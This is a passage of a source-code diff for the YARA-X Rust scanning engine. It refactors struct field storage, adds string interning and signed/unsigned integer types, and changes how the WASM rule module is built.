Option { let name = name.into(); if let Some(dot) = name.find('.') { + let prefix = &name[0..dot]; // Get existing field or create a new one of type struct. - let field = self - .field_entry_by_name(name[0..dot].to_owned()) - .or_insert_with(|| StructField { - type_value: TypeValue::Struct(Rc::new(Struct::new())), - number: 0, - acl: None, - deprecation_notice: None, - doc: None, - }); + let field = self.get_or_insert_struct_field(prefix); if let TypeValue::Struct(ref mut s) = field.type_value { let s = Rc::::get_mut(s).unwrap_or_else(|| { panic!( "`add_field` was called while an `Rc` or `Weak` pointer points to field `{}`", - (&name[0..dot]) + prefix ) }); s.add_field(&name[dot + 1..], value) } else { - panic!("field `{}` is not a struct", &name[0..dot]) + panic!("field `{}` is not a struct", prefix) } } else { - self.fields.insert( - name, - StructField { - type_value: value, - number: 0, - acl: None, - deprecation_notice: None, - doc: None, - }, - ) + let new_field = StructField { type_value: value }; + if let Some(index) = self.field_meta.get_index_of(name.as_str()) { + Some(std::mem::replace(&mut self.fields[index], new_field)) + } else { + Rc::make_mut(&mut self.field_meta) + .insert(name, StructFieldMeta::default()); + self.fields.push(new_field); + None + } + } + } + + fn get_or_insert_struct_field(&mut self, name: &str) -> &mut StructField { + if let Some(index) = self.field_meta.get_index_of(name) { + &mut self.fields[index] + } else { + let (index, _) = Rc::make_mut(&mut self.field_meta) + .insert_full(name.to_owned(), StructFieldMeta::default()); + self.fields.push(StructField { + type_value: TypeValue::Struct(Rc::new(Struct::new())), + }); + &mut self.fields[index] } } @@ -271,7 +455,8 @@ impl Struct { let mut enclosing_msg = enum_descriptor.enclosing_message(); let mut path = Vec::new(); - if !Self::enum_is_inline(enum_descriptor) { + let is_inline = Self::enum_is_inline(enum_descriptor); + if !is_inline { path.push(Self::enum_name(enum_descriptor)); } @@ -284,13 +469,54 @@ impl Struct { let path = path.iter().rev().join("."); - for item in enum_descriptor.values() { - let field_name = if path.is_empty() { - item.name().to_owned() + if !is_inline { + let enum_struct = self.get_or_create_struct(&path); + enum_struct.is_enum = true; + for item in enum_descriptor.values() { + enum_struct + .add_field(item.name(), Self::enum_value(&item).into()); + } + } else { + for item in enum_descriptor.values() { + let field_name = if path.is_empty() { + item.name().to_owned() + } else { + format!("{}.{}", path, item.name()) + }; + self.add_field(field_name, Self::enum_value(&item).into()); + } + } + } + + fn get_or_create_struct(&mut self, path: &str) -> &mut Struct { + if let Some(dot) = path.find('.') { + let target = &path[0..dot]; + let field = self.get_or_insert_struct_field(target); + + if let TypeValue::Struct(ref mut s) = field.type_value { + let s = Rc::::get_mut(s).unwrap_or_else(|| { + panic!( + "`get_or_create_struct` was called while an `Rc` or `Weak` pointer points to field `{}`", + target + ) + }); + s.get_or_create_struct(&path[dot + 1..]) } else { - format!("{}.{}", path, item.name()) - }; - self.add_field(field_name, Self::enum_value(&item).into()); + panic!("field `{}` is not a struct", target) + } + } else { + let field = self.get_or_insert_struct_field(path); + + if let TypeValue::Struct(ref mut s) = field.type_value { + Rc::::get_mut(s).unwrap_or_else(|| { + panic!( + "`get_or_create_struct` was called while an `Rc` or `Weak` pointer points to field `{}`", + path + ) + }) + } else { + panic!("field `{}` is not a struct", path) + } } } @@ -303,22 +529,14 @@ impl Struct { /// Get a field by index. #[inline] pub fn field_by_index(&self, index: usize) -> Option<&StructField> { - self.fields.get_index(index).map(|(_, v)| v) + self.fields.get(index) } /// Get a field by name. #[inline] pub fn field_by_name(&self, name: &str) -> Option<&StructField> { - self.fields.get(name) - } - - /// Get a field and its corresponding index by name. - #[inline] - pub fn field_and_index_by_name( - &self, - name: &str, - ) -> Option<(&StructField, usize)> { - self.fields.get_full(name).map(|(index, _, field)| (field, index)) + let index = self.field_meta.get_index_of(name)?; + self.fields.get(index) } /// Get a mutable field by name. @@ -327,17 +545,8 @@ impl Struct { &mut self, name: &str, ) -> Option<&mut StructField> { - self.fields.get_mut(name) - } - - /// Get the entry corresponding to the field with the give name, for - /// insertion and/or in-place manipulation. - #[inline] - pub fn field_entry_by_name( - &mut self, - name: String, - ) -> indexmap::map::Entry<'_, String, StructField> { - self.fields.entry(name) + let index = self.field_meta.get_index_of(name)?; + self.fields.get_mut(index) } /// Calls `f` with all the structures contained in the current one. @@ -347,7 +556,7 @@ impl Struct { F: FnMut(&mut Struct), { f(self); - for field in self.fields.values_mut() { + for field in &mut self.fields { match &mut field.type_value { TypeValue::Struct(s) => { Rc::::get_mut(s).unwrap().enum_substructures(f); @@ -407,19 +616,30 @@ impl Struct { generate_fields_for_enums: bool, generate_compile_time_fields: bool, ) -> Rc { - let syntax = msg_descriptor.file_descriptor().syntax(); - let mut fields = Vec::new(); + let mut string_pool = FxHashSet::default(); + Self::from_proto_descriptor_and_msg_with_pool( + msg_descriptor, + msg, + generate_fields_for_enums, + generate_compile_time_fields, + &mut string_pool, + ) + } - for fd in msg_descriptor.fields() { - // The field should be ignored if it was annotated with: - // [(yara.field_options).ignore = true] - if Self::ignore_field(&fd) { - continue; - } + fn from_proto_descriptor_and_msg_with_pool( + msg_descriptor: &MessageDescriptor, + msg: Option<&dyn MessageDyn>, + generate_fields_for_enums: bool, + generate_compile_time_fields: bool, + string_pool: &mut FxHashSet, + ) -> Rc { + let schema = ProtoStructSchema::get_or_init(msg_descriptor); + let syntax = schema.syntax; + let mut fields = Vec::with_capacity(schema.fields.len()); + for field_schema in &schema.fields { + let fd = &field_schema.descriptor; let field_ty = fd.runtime_field_type(); - let number = fd.number() as u64; - let name = Self::field_name(&fd); let mut value = match field_ty { RuntimeFieldType::Singular(ty) => Self::new_value( @@ -428,12 +648,14 @@ impl Struct { generate_fields_for_enums, generate_compile_time_fields, syntax, + string_pool, ), RuntimeFieldType::Repeated(ty) => Self::new_array( &ty, msg.map(|msg| fd.get_repeated(msg)), generate_fields_for_enums, generate_compile_time_fields, + string_pool, ), RuntimeFieldType::Map(key_ty, value_ty) => Self::new_map( &key_ty, @@ -442,14 +664,15 @@ impl Struct { generate_fields_for_enums, generate_compile_time_fields, syntax, + string_pool, ), }; - if Self::lowercase(&fd) { + if field_schema.lowercase { if let TypeValue::String { constraints, .. } = &mut value { - constraints - .get_or_insert_default() - .push(StringConstraint::Lowercase); + if generate_compile_time_fields { + *constraints = Some(vec![StringConstraint::Lowercase]); + } } else { panic!( "`lowercase = true` in non-string field: {}", @@ -458,50 +681,19 @@ impl Struct { } } - fields.push(( - name, - StructField { - // Index is initially zero, will be adjusted later. - type_value: value, - acl: if generate_compile_time_fields { - Self::acl(&fd) - } else { - None - }, - deprecation_notice: if generate_compile_time_fields { - Self::deprecation_notice(&fd) - } else { - None - }, - number, - doc: if generate_compile_time_fields { - Self::field_doc(msg_descriptor.full_name(), number) - } else { - None - }, - }, - )); - } - - // Sort fields by field numbers specified in the proto. - fields.sort_by_key(|a| a.1.number); - - // Insert the fields in a map, checking for duplicate fields. - let mut field_index = IndexMap::new(); - - for (name, field) in fields { - if field_index.insert(name, field).is_some() { - panic!( - "duplicate field name in message `{}`", - msg_descriptor.name() - ) - } + fields.push(StructField { type_value: value }); } let mut new_struct = Self { - fields: field_index, + field_meta: Rc::clone(&schema.field_meta), + fields, is_root: false, - protobuf_type_name: Some(msg_descriptor.full_name().to_string()), + protobuf_type_name: if generate_compile_time_fields { + Some(msg_descriptor.full_name().to_string()) + } else { + None + }, + is_enum: false, }; if generate_fields_for_enums && Self::is_module_root(msg_descriptor) { @@ -526,6 +718,19 @@ impl Struct { Rc::new(new_struct) } + #[inline] + fn intern_string( + pool: &mut FxHashSet, + bytes: &[u8], + ) -> Rc { + if let Some(entry) = pool.get(bytes) { + return Rc::clone(&entry.0); + } + let rc = Rc::new(BString::from(bytes)); + pool.insert(InternedString(Rc::clone(&rc))); + rc + } + /// Returns true if the given message is the YARA module's root message. fn is_module_root(msg_descriptor: &MessageDescriptor) -> bool { let file_descriptor = msg_descriptor.file_descriptor(); @@ -714,11 +919,14 @@ impl Struct { /// Returns an iterator over the fields of this structure. /// - /// The returned values are tuples where the first value is the name of the - /// field and the second one is a reference to [`StructField`] describing - /// the field. - pub(crate) fn fields(&self) -> impl Iterator { - self.fields.iter().map(move |(name, field)| (name.as_str(), field)) + /// The returned values are tuples with the field name, a reference to + /// [`StructField`] describing the field's type and value, and a reference + /// to [`StructFieldMeta`] with the field's metadata. + pub(crate) fn fields( + &self, + ) -> impl Iterator { + iter::zip(&*self.field_meta, &self.fields) + .map(|((name, meta), field)| (name.as_str(), field, meta)) } /// Similar to [`Struct::enum_value`], but returns the enum value as an `i64` @@ -732,26 +940,6 @@ impl Struct { } } - /// Given a [`FieldDescriptor`] returns the name that this field will - /// have in the corresponding [`Struct`]. - /// - /// By default, the name of the field will be the same one that it has in - /// the protobuf definition. However, the name can be set to something - /// different by using an annotation in the .proto file, like this: - /// - /// ```text - /// int64 foo = 1 [(yara.field_options).name = "bar"]; - /// ``` - /// - /// Here the `foo` field will be named `bar` when the protobuf is converted - /// into a [`Struct`]. - fn field_name(field_descriptor: &FieldDescriptor) -> String { - field_options - .get(&field_descriptor.proto().options) - .and_then(|options| options.name) - .unwrap_or_else(|| field_descriptor.name().to_owned()) - } - /// Given a [`FieldDescriptor`] returns `true` if the field should be /// ignored by YARA. /// @@ -768,21 +956,6 @@ impl Struct { .unwrap_or(false) } - /// Given a [`FieldDescriptor`] returns `true` if the field is a lowercase - /// string - /// - /// Lowercase strings are annotated in the protobuf definition as follows: - /// - /// ```text - /// string foo = 1 [(yara.field_options).lowercase = true]; - /// ``` - fn lowercase(field_descriptor: &FieldDescriptor) -> bool { - field_options - .get(&field_descriptor.proto().options) - .and_then(|options| options.lowercase) - .unwrap_or(false) - } - /// Given a [`FieldDescriptor`] returns the information that must be /// shown if the field is deprecated. /// @@ -863,21 +1036,51 @@ impl Struct { enum_as_fields: bool, generate_compile_time_fields: bool, syntax: Syntax, + string_pool: &mut FxHashSet, ) -> TypeValue { match ty { - RuntimeType::I32 - | RuntimeType::I64 - | RuntimeType::U32 - | RuntimeType::U64 - | RuntimeType::Enum(_) => { + RuntimeType::U64 => { if let Some(v) = value { - TypeValue::var_integer_from(Self::value_as_i64(v)) + TypeValue::var_unsigned_integer_from(Self::value_as_u64(v)) } else if syntax == Syntax::Proto3 { // In proto3 unknown values are set to their default // values. - TypeValue::var_integer_from(0) + TypeValue::var_unsigned_integer_from(0_u64) } else { - TypeValue::unknown_integer() + TypeValue::unknown_unsigned_integer() + } + } + RuntimeType::U32 => { + if let Some(v) = value { + TypeValue::Uint32(Value::Var(Self::value_as_u32(v))) + } else if syntax == Syntax::Proto3 { + // In proto3 unknown values are set to their default + // values. + TypeValue::Uint32(Value::Var(0)) + } else { + TypeValue::Uint32(Value::Unknown) + } + } + RuntimeType::I32 => { + if let Some(v) = value { + TypeValue::Int32(Value::Var(Self::value_as_i32(v))) + } else if syntax == Syntax::Proto3 { + // In proto3 unknown values are set to their default + // values. + TypeValue::Int32(Value::Var(0)) + } else { + TypeValue::Int32(Value::Unknown) + } + } + RuntimeType::I64 | RuntimeType::Enum(_) => { + if let Some(v) = value { + TypeValue::var_signed_integer_from(Self::value_as_i64(v)) + } else if syntax == Syntax::Proto3 { + // In proto3 unknown values are set to their default + // values. + TypeValue::var_signed_integer_from(0) + } else { + TypeValue::unknown_signed_integer() } } RuntimeType::F32 | RuntimeType::F64 => { @@ -904,11 +1107,22 @@ impl Struct { } RuntimeType::String | RuntimeType::VecU8 => { if let Some(v) = value { - TypeValue::var_string_from(Self::value_as_string(v)) + let s = Self::intern_string( + string_pool, + Self::value_as_string(v), + ); + TypeValue::String { + value: Value::Var(s), + constraints: None, + } } else if syntax == Syntax::Proto3 { // In proto3 unknown values are set to their default // values. - TypeValue::var_string_from(b"") + let s = Self::intern_string(string_pool, b""); + TypeValue::String { + value: Value::Var(s), + constraints: None, + } } else { TypeValue::unknown_string() } @@ -920,13 +1134,15 @@ impl Struct { value, enum_as_fields, generate_compile_time_fields, + string_pool, ) } else { - Self::from_proto_descriptor_and_msg( + Self::from_proto_descriptor_and_msg_with_pool( msg_descriptor, None, enum_as_fields, generate_compile_time_fields, + string_pool, ) }; TypeValue::Struct(structure) @@ -934,161 +1150,140 @@ impl Struct { } } + fn collect_repeated(repeated: ReflectRepeatedRef<'_>, f: F) -> Vec + where + F: FnMut(ReflectValueRef<'_>) -> T, + { + let mut vec = Vec::with_capacity(repeated.len()); + vec.extend(repeated.into_iter().map(f)); + vec + } + fn new_array( ty: &RuntimeType, repeated: Option, enum_as_fields: bool, generate_compile_time_fields: bool, + string_pool: &mut FxHashSet, ) -> TypeValue { - let array = match ty { - RuntimeType::I32 => { - if let Some(repeated) = repeated { - Array::Integers( - repeated - .into_iter() - .map(|value| Self::value_as_i64(value)) - .collect(), - ) - } else { - Array::Integers(vec![]) - } - } - RuntimeType::I64 => { - if let Some(repeated) = repeated { - Array::Integers( - repeated - .into_iter() - .map(|value| Self::value_as_i64(value)) - .collect(), - ) - } else { - Array::Integers(vec![]) + if !generate_compile_time_fields + && repeated.as_ref().is_some_and(|r| r.is_empty()) + { + let empty_rc = match ty { + RuntimeType::I32 + | RuntimeType::I64 + | RuntimeType::U32 + | RuntimeType::U64 + | RuntimeType::Enum(_) => EMPTY_ARRAY_INTEGERS.with(Rc::clone), + RuntimeType::F32 | RuntimeType::F64 => { + EMPTY_ARRAY_FLOATS.with(Rc::clone) } - } - RuntimeType::U32 => { - if let Some(repeated) = repeated { - Array::Integers( - repeated - .into_iter() - .map(|value| Self::value_as_i64(value)) - .collect(), - ) - } else { - Array::Integers(vec![]) + RuntimeType::Bool => EMPTY_ARRAY_BOOLS.with(Rc::clone), + RuntimeType::String | RuntimeType::VecU8 => { + EMPTY_ARRAY_STRINGS.with(Rc::clone) } - } - RuntimeType::U64 => { + RuntimeType::Message(_) => EMPTY_ARRAY_STRUCTS.with(Rc::clone), + }; + return TypeValue::Array(empty_rc); + } + + let array = match ty { + RuntimeType::I32 + | RuntimeType::I64 + | RuntimeType::U32 + | RuntimeType::U64 => { if let Some(repeated) = repeated { - Array::Integers( - repeated - .into_iter() - .map(|value| Self::value_as_i64(value)) - .collect(), - ) + Array::Integers(Self::collect_repeated( + repeated, + Self::value_as_i64, + )) } else { Array::Integers(vec![]) } } RuntimeType::F32 => { if let Some(repeated) = repeated { - Array::Floats( - repeated - .into_iter() - .map(|value| Self::value_as_f64(value)) - .collect(), - ) + Array::Floats(Self::collect_repeated( + repeated, + Self::value_as_f64, + )) } else { Array::Floats(vec![]) } } RuntimeType::F64 => { if let Some(repeated) = repeated { - Array::Floats( - repeated - .into_iter() - .map(|value| Self::value_as_f64(value)) - .collect(), - ) + Array::Floats(Self::collect_repeated( + repeated, + Self::value_as_f64, + )) } else { Array::Floats(vec![]) } } RuntimeType::Bool => { if let Some(repeated) = repeated { - Array::Bools( - repeated - .into_iter() - .map(|value| Self::value_as_bool(value)) - .collect(), - ) + Array::Bools(Self::collect_repeated( + repeated, + Self::value_as_bool, + )) } else { Array::Bools(vec![]) } } RuntimeType::String => { if let Some(repeated) = repeated { - Array::Strings( - repeated - .into_iter() - .map(|value| { - Rc::new(BString::from(value.to_str().unwrap())) - }) - .collect(), - ) + Array::Strings(Self::collect_repeated(repeated, |value| { + Self::intern_string( + string_pool, + value.to_str().unwrap().as_bytes(), + ) + })) } else { Array::Strings(vec![]) } } RuntimeType::VecU8 => { if let Some(repeated) = repeated { - Array::Strings( - repeated - .into_iter() - .map(|value| { - Rc::new(BString::from( - value.to_bytes().unwrap(), - )) - }) - .collect(), - ) + Array::Strings(Self::collect_repeated(repeated, |value| { + Self::intern_string( + string_pool, + value.to_bytes().unwrap(), + ) + })) } else { Array::Strings(vec![]) } } RuntimeType::Enum(_) => { if let Some(repeated) = repeated { - Array::Integers( - repeated - .into_iter() - .map(|value| value.to_enum_value().unwrap() as i64) - .collect(), - ) + Array::Integers(Self::collect_repeated( + repeated, + |value| value.to_enum_value().unwrap() as i64, + )) } else { Array::Integers(vec![]) } } RuntimeType::Message(msg_descriptor) => { if let Some(repeated) = repeated { - Array::Structs( - repeated - .into_iter() - .map(|value| { - Self::from_proto_descriptor_and_value( - msg_descriptor, - value, - enum_as_fields, - generate_compile_time_fields, - ) - }) - .collect(), - ) + Array::Structs(Self::collect_repeated(repeated, |value| { + Self::from_proto_descriptor_and_value( + msg_descriptor, + value, + enum_as_fields, + generate_compile_time_fields, + string_pool, + ) + })) } else { Array::Structs(vec![ - Struct::from_proto_descriptor_and_msg( + Self::from_proto_descriptor_and_msg_with_pool( msg_descriptor, None, enum_as_fields, generate_compile_time_fields, + string_pool, ), ]) } @@ -1105,6 +1300,7 @@ impl Struct { enum_as_fields: bool, generate_compile_time_fields: bool, syntax: Syntax, + string_pool: &mut FxHashSet, ) -> TypeValue { let map = match key_ty { RuntimeType::String => Self::new_map_with_string_key( @@ -1113,6 +1309,7 @@ impl Struct { enum_as_fields, generate_compile_time_fields, syntax, + string_pool, ), RuntimeType::I32 | RuntimeType::I64 @@ -1123,6 +1320,7 @@ impl Struct { enum_as_fields, generate_compile_time_fields, syntax, + string_pool, ), ty => { panic!("maps in YARA can't have keys of type `{ty}`"); @@ -1138,6 +1336,7 @@ impl Struct { enum_as_fields: bool, generate_compile_time_fields: bool, syntax: Syntax, + string_pool: &mut FxHashSet, ) -> Map { if let Some(map) = map { let mut result = IndexMap::default(); @@ -1150,6 +1349,7 @@ impl Struct { enum_as_fields, generate_compile_time_fields, syntax, + string_pool, ), ); } @@ -1162,6 +1362,7 @@ impl Struct { enum_as_fields, generate_compile_time_fields, syntax, + string_pool, )), map: Default::default(), } @@ -1174,6 +1375,7 @@ impl Struct { enum_as_fields: bool, generate_compile_time_fields: bool, syntax: Syntax, + string_pool: &mut FxHashSet, ) -> Map { if let Some(map) = map { let mut result = IndexMap::default(); @@ -1186,6 +1388,7 @@ impl Struct { enum_as_fields, generate_compile_time_fields, syntax, + string_pool, ), ); } @@ -1198,6 +1401,7 @@ impl Struct { enum_as_fields, generate_compile_time_fields, syntax, + string_pool, )), map: Default::default(), } @@ -1209,19 +1413,35 @@ impl Struct { value: ReflectValueRef, enum_as_fields: bool, generate_compile_time_fields: bool, + string_pool: &mut FxHashSet, ) -> Rc { if let ReflectValueRef::Message(m) = value { - Struct::from_proto_descriptor_and_msg( + Struct::from_proto_descriptor_and_msg_with_pool( msg_descriptor, Some(m.deref()), enum_as_fields, generate_compile_time_fields, + string_pool, ) } else { unreachable!() } } + fn value_as_i32(value: ReflectValueRef) -> i32 { + match value { + ReflectValueRef::I32(v) => v, + _ => panic!(), + } + } + + fn value_as_u32(value: ReflectValueRef) -> u32 { + match value { + ReflectValueRef::U32(v) => v, + _ => panic!(), + } + } + fn value_as_i64(value: ReflectValueRef) -> i64 { match value { ReflectValueRef::U32(v) => v as i64, @@ -1233,6 +1453,14 @@ impl Struct { } } + fn value_as_u64(value: ReflectValueRef) -> u64 { + match value { + ReflectValueRef::U32(v) => v as u64, + ReflectValueRef::U64(v) => v, + _ => panic!(), + } + } + fn value_as_f64(value: ReflectValueRef) -> f64 { match value { ReflectValueRef::F64(v) => v, @@ -1248,7 +1476,7 @@ impl Struct { } } - fn value_as_string(value: ReflectValueRef<'_>) -> &[u8] { + fn value_as_string<'a>(value: ReflectValueRef<'a>) -> &'a [u8] { match value { ReflectValueRef::String(v) => v.as_bytes(), ReflectValueRef::Bytes(v) => v, @@ -1268,13 +1496,14 @@ impl PartialEq for Struct { if self.fields.len() != other.fields.len() { return false; } + if !Rc::ptr_eq(&self.field_meta, &other.field_meta) + && !self.field_meta.keys().eq(other.field_meta.keys()) + { + return false; + } for (a, b) in iter::zip(&self.fields, &other.fields) { - // Field names must match. - if a.0 != b.0 { - return false; - }; // Field types must match. - if !a.1.type_value.eq_type(&b.1.type_value) { + if !a.type_value.eq_type(&b.type_value) { return false; } } @@ -1353,7 +1582,7 @@ mod tests { let foo = Struct::default(); root.add_field("foo", TypeValue::Struct(Rc::new(foo))); - root.add_field("bar", TypeValue::var_integer_from(1)); + root.add_field("bar", TypeValue::var_signed_integer_from(1)); let field1 = root.field_by_name("foo").unwrap(); let field2 = root.field_by_index(0).unwrap(); @@ -1361,7 +1590,7 @@ mod tests { assert_eq!(field1.type_value.ty(), Type::Struct); assert_eq!(field1.type_value.ty(), field2.type_value.ty()); - root.add_field("foo.bar", TypeValue::var_integer_from(1)); + root.add_field("foo.bar", TypeValue::var_signed_integer_from(1)); } #[test] fn test_proto_struct() { @@ -1404,7 +1633,7 @@ mod tests { fn struct_eq() { let mut sub: Struct = Struct::default(); - sub.add_field("integer", TypeValue::unknown_integer()); + sub.add_field("integer", TypeValue::unknown_signed_integer()); sub.add_field("string", TypeValue::unknown_string()); sub.add_field("boolean", TypeValue::unknown_bool()); @@ -1414,7 +1643,7 @@ mod tests { let mut b = Struct::default(); a.add_field("boolean", TypeValue::var_bool_from(true)); - a.add_field("integer", TypeValue::var_integer_from(1)); + a.add_field("integer", TypeValue::var_signed_integer_from(1)); a.add_field("structure", TypeValue::Struct(sub.clone())); a.add_field( "floats_array", @@ -1425,7 +1654,7 @@ mod tests { assert_ne!(a, b); b.add_field("boolean", TypeValue::var_bool_from(false)); - b.add_field("integer", TypeValue::var_integer_from(1)); + b.add_field("integer", TypeValue::var_signed_integer_from(1)); b.add_field("structure", TypeValue::Struct(sub)); b.add_field( "floats_array", @@ -1436,10 +1665,40 @@ mod tests { assert_eq!(a, b); a.add_field("foo", TypeValue::var_bool_from(false)); - b.add_field("foo", TypeValue::unknown_integer()); + b.add_field("foo", TypeValue::unknown_signed_integer()); // At this point a != b again because field "foo" have a different type // on each structure. assert_ne!(a, b); } + + #[test] + fn test_is_enum() { + use crate::modules::protos::test_proto2::TestProto2; + use protobuf::MessageFull; + + let s = Struct::new(); + assert!(!s.is_enum()); + + let mut structure = Struct::from_proto_descriptor_and_msg( + &TestProto2::descriptor(), + None, + true, + true, + ); + + let structure = Rc::::get_mut(&mut structure).unwrap(); + let mut is_enum_flags = Vec::new(); + + structure.enum_substructures(&mut |sub| { + is_enum_flags.push(sub.is_enum()); + }); + + // The root message and its nested messages (and intermediate container structs) + // are not enums, while the enum substructures are marked with is_enum = true. + assert_eq!( + vec![false, false, false, true, true, false, true, true], + is_enum_flags + ); + } } diff --git a/lib/src/variables.rs b/lib/src/variables.rs index 38a6e54e0..b6e04edb7 100644 --- a/lib/src/variables.rs +++ b/lib/src/variables.rs @@ -82,49 +82,49 @@ impl TryFrom for Variable { impl TryFrom for Variable { type Error = VariableError; fn try_from(value: i64) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } impl TryFrom for Variable { type Error = VariableError; fn try_from(value: i32) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } impl TryFrom for Variable { type Error = VariableError; fn try_from(value: i16) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } impl TryFrom for Variable { type Error = VariableError; fn try_from(value: i8) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } impl TryFrom for Variable { type Error = VariableError; fn try_from(value: u32) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } impl TryFrom for Variable { type Error = VariableError; fn try_from(value: u16) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } impl TryFrom for Variable { type Error = VariableError; fn try_from(value: u8) -> Result { - Ok(Variable(TypeValue::var_integer_from(value))) + Ok(Variable(TypeValue::var_signed_integer_from(value))) } } @@ -183,9 +183,9 @@ impl TryFrom<&serde_json::Value> for Variable { let n: i64 = n .try_into() .map_err(|_| VariableError::IntegerOutOfRange)?; - Ok(Variable(TypeValue::var_integer_from(n))) + Ok(Variable(TypeValue::var_signed_integer_from(n))) } else if let Some(n) = n.as_i64() { - Ok(Variable(TypeValue::var_integer_from(n))) + Ok(Variable(TypeValue::var_signed_integer_from(n))) } else if let Some(n) = n.as_f64() { Ok(Variable(TypeValue::var_float_from(n))) } else { diff --git a/lib/src/wasm/builder.rs b/lib/src/wasm/builder.rs index 4e809172f..e59c7c677 100644 --- a/lib/src/wasm/builder.rs +++ b/lib/src/wasm/builder.rs @@ -6,33 +6,15 @@ use walrus::ValType::{F64, I32, I64}; use walrus::ir::ExtendedLoad::ZeroExtend; use walrus::ir::{BinaryOp, Block, InstrSeqId, LoadKind, MemArg, UnaryOp}; use walrus::{ - FunctionBuilder, FunctionId, GlobalId, InstrSeqBuilder, MemoryId, Module, + ConstExpr, FunctionBuilder, FunctionId, GlobalId, InstrSeqBuilder, + LocalFunction, MemoryId, Module, }; use super::WasmSymbols; -macro_rules! global_var { - ($module:ident, $name:ident, $ty:ident) => { - let ($name, _) = $module.add_import_global( - "yara_x", - stringify!($name), - $ty, - true, // mutable - false, // shared - ); - }; -} - -macro_rules! global_const { - ($module:ident, $name:ident, $ty:ident) => { - let ($name, _) = $module.add_import_global( - "yara_x", - stringify!($name), - $ty, - false, // mutable - false, // shared - ); - }; +#[derive(Debug)] +pub(crate) enum Error { + FunctionTooLarge, } /// Builds the WASM module for a set of compiled rules. @@ -122,18 +104,18 @@ pub(crate) struct WasmModuleBuilder { wasm_exports: FxHashMap, main_func: FunctionBuilder, namespace_func: FunctionBuilder, - rules_func: FunctionBuilder, + rules_func: LocalFunction, namespace_block: InstrSeqId, - rule_id: RuleId, num_rules: usize, num_namespaces: usize, namespaces_per_func: usize, rules_per_func: usize, - global_rule: bool, + rules_func_size: u64, } impl WasmModuleBuilder { const RULES_FUNC_RET: [walrus::ValType; 1] = [I32; 1]; + const MAX_FUNC_INSTRS: u64 = 300_000; /// Creates a new module builder. pub fn new() -> Self { @@ -155,20 +137,49 @@ impl WasmModuleBuilder { wasm_exports.insert(fully_qualified_name, func_id); } - global_const!(module, matching_patterns_bitmap_base, I32); - global_var!(module, filesize, I64); - global_var!(module, pattern_search_done, I32); + // The main memory and the global variables are defined by the + // module itself instead of being imported. This way the only + // imports are host functions, which don't belong to any particular + // store, so the linker can be built once and shared across scanners. + let matching_patterns_bitmap_base = module.globals.add_local( + I32, + true, // mutable + false, // shared + ConstExpr::Value(walrus::ir::Value::I32(0)), + ); + + // `filesize` is initialized to -1 (which means undefined) because + // the file size is not known until some data is scanned. + let filesize = module.globals.add_local( + I64, + true, // mutable + false, // shared + ConstExpr::Value(walrus::ir::Value::I64(-1)), + ); + + // `pattern_search_done` is set to `true` when the Aho-Corasick + // pattern search phase has been executed. + let pattern_search_done = module.globals.add_local( + I32, + true, // mutable + false, // shared + ConstExpr::Value(walrus::ir::Value::I32(0)), + ); - let (main_memory, _) = module.add_import_memory( - "yara_x", - "main_memory", + let main_memory = module.memories.add_local( false, // shared false, // memory64 - 1, - None, - None, + 1, None, None, ); + module.exports.add( + "matching_patterns_bitmap_base", + matching_patterns_bitmap_base, + ); + module.exports.add("filesize", filesize); + module.exports.add("pattern_search_done", pattern_search_done); + module.exports.add("main_memory", main_memory); + // Generate the function that checks if a pattern matched. let check_for_pattern_match = Self::gen_check_for_pattern_match( &mut module, @@ -194,7 +205,8 @@ impl WasmModuleBuilder { &mut module.types, &[], &Self::RULES_FUNC_RET, - ); + ) + .local_func(Vec::new()); // The main function receives no arguments and returns an I32. let main_func = FunctionBuilder::new(&mut module.types, &[], &[I32]); @@ -208,12 +220,11 @@ impl WasmModuleBuilder { namespace_func, rules_func, namespace_block, - rule_id: RuleId::default(), num_rules: 0, num_namespaces: 0, namespaces_per_func: 10, rules_per_func: 10, - global_rule: false, + rules_func_size: 0, } } @@ -242,79 +253,103 @@ impl WasmModuleBuilder { self } - /// Returns an instruction sequence builder that can be used for emitting - /// code for a YARA rule. + /// Emits the WASM code for a YARA rule. /// - /// The code emitted for the rule must leave an i32 in the stack with value - /// 1 or 0 indicating whether the rule matched or not. - pub fn start_rule( + /// The `emit_condition` closure receives an [`InstrSeqBuilder`] and must + /// emit the code for the rule's condition, leaving an i32 in the stack + /// with value 1 or 0 indicating whether the rule matched or not. + /// + /// Multiple rules (up to `self.rules_per_func`) are packed into a single + /// WASM function (`self.rules_func`), provided the total number of + /// instructions in the function does not exceed [`Self::MAX_FUNC_INSTRS`]. + /// If adding the new rule would push the current function over that limit, + /// `emit_rule` either: + /// - returns [`Error::FunctionTooLarge`] if the rule alone exceeds + /// [`Self::MAX_FUNC_INSTRS`], or + /// - closes the current function and re-emits the rule into a new WASM + /// function if the rule fits on its own. + pub fn emit_rule( &mut self, rule_id: RuleId, global: bool, - ) -> InstrSeqBuilder<'_> { + mut emit_condition: impl FnMut(&mut InstrSeqBuilder), + ) -> Result<(), Error> { + // If the current WASM function already holds the maximum number of + // rules per function, close it and start a fresh one. if self.num_rules == self.rules_per_func { self.finish_rule_func(); - self.num_rules = 0; } - self.num_rules += 1; - self.rule_id = rule_id; - self.global_rule = global; - - self.rules_func.func_body() - } - /// This finishes the code for a rule. - /// - /// Each call to [`WasmModuleBuilder::start_rule`] must be followed by a - /// call to this function once the code for rule has been emitted. - pub fn finish_rule(&mut self) { - let rule_no_match = - self.function_id(wasm::export__rule_no_match.mangled_name); + // Record the length of the top-level instruction sequence before + // emitting this rule. Note that `func_body().instrs().len()` only + // counts top-level instructions in the function's entry sequence (a + // nested `block` or `if_else` counts as a single top-level entry), + // which is the index needed by `truncate` to roll back the rule if + // it doesn't fit. + let num_instrs = + self.rules_func.builder_mut().func_body().instrs().len(); + + // Total number of instructions in `self.rules_func` (across all rules + // already emitted into it) before emitting the current rule. + let size_before = self.rules_func_size; + + self.emit_rule_into_current_func(rule_id, global, &mut 